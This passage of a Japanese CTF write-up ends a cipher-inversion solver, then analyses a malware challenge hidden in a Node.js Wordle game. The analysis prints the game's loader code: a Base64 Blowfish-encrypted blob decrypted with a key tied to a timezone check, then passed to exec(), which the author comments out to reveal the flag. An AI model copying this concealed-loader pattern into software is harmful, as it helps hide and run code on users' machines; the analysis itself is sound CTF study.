    return (w1 << 48) + (w2 << 32) + (w3 << 16) + w4

def inv_G(k, g, cv):
    g6 = g & 0xff
    g5 = g >> 8
    g4 = Ftable(g5^cv[(4*k+3)%6]) ^ g6
    g3 = Ftable(g4^cv[(4*k+2)%6]) ^ g5
    g2 = Ftable(g3^cv[(4*k+1)%6]) ^ g4
    g1 = Ftable(g2^cv[(4*k)%6]) ^ g3
    return (g1 << 8) + g2

def inv_encrypt_uint64(input, cv):
    current = input
    k = 24
    for i in range(2):
        for j in range(8):
            k -= 1
            current = inv_B(k, current, cv)
        for j in range(4):
            k -= 1
            current = inv_A(k, current, cv)
    return current

if __name__ == '__main__':
    cv = search_cv()
    search_flag(cv)

Malware

wordle

author:minakawa
我が社の海外拠点でアラートがあがったみたい!!

......って、業務用端末でゲームしちゃだめでしょ😠💢💢💢
しかもこれ、表層情報見たら変なコード入ってるじゃん!!さては、怪しいところから落としてきたな???

wordle.zip

中身見てみると Node.js のコードが大量にあるので,Node.js で書かれたものを実行ファイルにしているっぽい.
デコンパイルできるツールを探してみると pkg unpacker がだめだったので,nexeDecompiler を試してみるとできた.

└─< nexedecompiler --dest ./unpack wordle.exe

└─< ls ./unpack 
index.js  node_modules  words.json

index.js を見ると setup 関数の中に明らかに怪しい Base64 でエンコードされた文字列がある.
Blowfish で復号化もしているが,鍵は zWpO09t.getTimezoneOffset() の戻り値で,直前の処理で zWpO09t.getTimezoneOffset() != 480 なら終了するようになっているので以下のように書き換えると FLAG が出力される

async function setup(){
	let G8o6nft = "";
	for (let i=97;i < wordsJSON.length; i+=99){
		G8o6nft +=  wordsJSON[i]
	}
	const zWpO09t = new Date();
		if (zWpO09t.getTimezoneOffset() != 480){
		// return 0;
	}

	const Vgf7a0K = "KtCW/i6m2+iKv0hxEa9r17xeTdvTvyTlwlayqWKHBX9I3AQHS8G/ajM0zw1accMSI+2EibAsVvf8Mh5aecXj5y/8zy0OF6Ox0rxFRI+ixwfUnx/otd28s8YOaWKNTHLVUFK/LHTjgPNv4ZL85AlrmYvC1qX9zgcStHzI65O34ZCyk0pAZx1vtCFi1fSJ4f2SA9YW6250gfk/6pCpOCaw9A==";
	const jMnypi8 = new Blowfish(G8o6nft+Buffer.from((480 ^ 3715).toString(10), 'hex').toString(), Blowfish.MODE.ECB, Blowfish.PADDING.NULL);
	// const jMnypi8 = new Blowfish(G8o6nft+Buffer.from((zWpO09t.getTimezoneOffset() ^ 3715).toString(10), 'hex').toString(), Blowfish.MODE.ECB, Blowfish.PADDING.NULL);
	const jA38Cap = jMnypi8.decode(Buffer.from(Vgf7a0K, 'base64'), Blowfish.UINT8_ARRAY);
	process.stdout.write(jA38Cap);
	// exec(jA38Cap);
}

おわりに

Windows の実行ファイルについての知識があまりにもなくて,Malware が全然できなかったのでもう少しそっちの勉強もしないといけない感じがしました.PenTest につていは,コンテナ内にアクセスまでできたのですが,そこからの横展開でどうしたら良いのかさっぱりだったので,経験が足りないことを痛感させられましたが,普段の CTF では出題されないような問題も多かったのでとてもおもしろいコンテストでした.

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0